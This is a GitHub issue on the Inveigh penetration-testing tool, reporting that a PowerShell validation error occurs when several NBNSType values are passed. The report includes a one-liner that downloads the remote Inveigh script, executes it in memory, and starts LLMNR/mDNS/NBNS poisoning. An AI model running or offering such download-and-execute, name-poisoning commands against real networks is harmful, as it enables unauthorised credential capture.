Kevin-Robertson / Inveigh

.NET IPv4/IPv6 machine-in-the-middle tool for penetration testers
BSD 3-Clause "New" or "Revised" License
2.44k stars 433 forks source link

Error specifying more than on NBNSType with powershell script #15

Open cclements opened 5 years ago

cclements commented 5 years ago

With build 1459e04 running on Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 with powershell version:

PS C:\Windows\system32> $PSVersionTable.PSVersion

Major  Minor  Build  Revision
-----  -----  -----  --------
3      0      -1     -1

When specifying more than one NBNSType, as with the following oneliner:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1'); Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -LLMNR Y -mDNS Y -NBNS Y -NBNSTypes 00,03,20""

I consistently receive an error:

Invoke-Inveigh : Cannot validate argument on parameter 'NBNSTypes'. The argument "0" does not belong to the set "00,03,20,1B,1C,1D,1E" specified by the ValidateSet attribute. Supply an argument that
is in the set and then try the command again.
At line:1 char:210
+ ... S Y -NBNSTypes 00,20
+                    ~~~~~
    + CategoryInfo          : InvalidData: (:) [Invoke-Inveigh], ParameterBindingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationError,Invoke-Inveigh

It will always work with a single specified nbnstype. I'vet tried wrapping the nbnstype list in quotes but it does not seem to make a difference.